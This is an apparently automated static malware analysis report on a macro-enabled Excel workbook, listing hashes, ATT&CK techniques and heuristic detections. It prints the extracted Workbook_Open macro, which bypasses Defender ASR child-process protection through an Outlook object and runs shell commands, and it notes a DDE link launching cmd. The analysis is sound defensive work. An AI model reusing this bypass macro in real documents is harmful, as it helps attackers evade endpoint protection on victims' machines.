Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 649ae6b11e6f06d6…

MALICIOUS

Office (OOXML)

24.8 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-23
MD5: 4f04986a8a4edd167e3f79de9933945b SHA-1: f8ca7759dfbaaf4e9e2168ac7d27565fe9797095 SHA-256: 649ae6b11e6f06d635a97d723b13415bb814d1b9b3d6d8d8e2c8c020359d2b4f
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro utilizes WScript.Shell to execute commands, including a reference to PowerShell. The macro attempts to bypass ASR child process protection by creating an Outlook object first. The presence of a DDE link that launches 'cmd /C calc' and the VBA code's intent to execute commands via PowerShell indicate a downloader or initial execution stage for further malicious activity.

Heuristics 9

  • ClamAV: Xml.Exploit.DDE_Abuse-9987933-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xml.Exploit.DDE_Abuse-9987933-1
  • Spreadsheet DDE link launches a dangerous command critical OOXML_SPREADSHEET_DDE_MALICIOUS
    Excel workbook contains an externalLinks/ddeLink entry whose ddeService/ddeTopic launches a dangerous executable. This is SpreadsheetML DDE command execution, distinct from WordprocessingML DDE field instructions.
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        'create shell object under the outlook object
        Set WshShell = objOL.CreateObject("Wscript.Shell")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        'create shell object under the outlook object
        Set WshShell = objOL.CreateObject("Wscript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        'remove comment to view the process tree
        'Set WshShellExec = WshShell.Exec("powershell -c sleep 5000")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        'first create outlook object
        Set objOL = CreateObject("Outlook.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1608 bytes
SHA-256: 4d772046b2435673d252c2d1ec78352e18e123870810426328125a8474790743
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{AA3273EE-A425-4249-8E9F-B9EBED31A26A}{D9C68020-6EC6-427A-B5B0-3A0E7AAC6FF8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
'Bypassing defender  ASR child process protection using outlook process

Sub Workbook_Open()
    
    'first create outlook object
    Set objOL = CreateObject("Outlook.Application")
    
    'create shell object under the outlook object
    Set WshShell = objOL.CreateObject("Wscript.Shell")
    
    'execute the command from the new shell object
    Set WshShellExec = WshShell.Exec("whoami")
    
    'remove comment to view the process tree
    'Set WshShellExec = WshShell.Exec("powershell -c sleep 5000")
    
    'read the output of the command
    MsgBox (WshShellExec.StdOut.ReadAll)
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: 58bb4612942a358c24e9cbe6ad489fc143a6ccf5d47f62a0abade940c7fca1cc